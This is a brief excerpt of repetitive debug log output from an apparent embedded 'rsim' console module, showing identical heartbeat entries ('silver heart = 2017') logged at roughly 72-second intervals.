[rsim]        2024-04-29 20:46:30:18879759  file:bsl_rsim_console.c      function:_bsl_silver_send_heart_and_other_cmd_ind             line:1048     silver heart = 2017
[rsim]        2024-04-29 20:47:42:18951894  file:bsl_rsim_console.c      function:_bsl_silver_send_heart_and_other_cmd_ind             line:1048     silver heart = 2017
[rsim]        2024-04-29 20:48:54:19024021  file:bsl_rsim_console.c      function:_bsl_silver_send_heart_and_other_cmd_ind             line:1048     silver heart = 2017
[rsim]        2024-04-29 20:50:06:19096169  file:bsl_rsim_console.c      function:_bsl_silver_send_heart_and_other_cmd_ind             line:1048     silver heart = 2017
[rsim]        2024-04-29 20:51:19:19168315  file:bsl_rsim_console.c      function:_bsl_silver_send_heart_and_other_cmd_ind             line:1048     silver heart = 2017
[rsim]        2024-04-29 20:52:31:19240454  file:bsl_rsim_console.c      function:_bsl_silver_send_heart_and_other_cmd_ind             line:1048     silver heart = 2017
[rsim]        2024-04-29 20:53:43:19312586  file:bsl_rsim_console.c      function:_bsl_silver_send_heart_and_other_cmd_ind             line:1048     silver heart = 2017
[rsim]        2024-04-29 20:54:55:19384723  file:bsl_rsim_console.c      function:_bsl_silver_send_heart_and_other_cmd_ind             line:1048     silver heart = 2017
```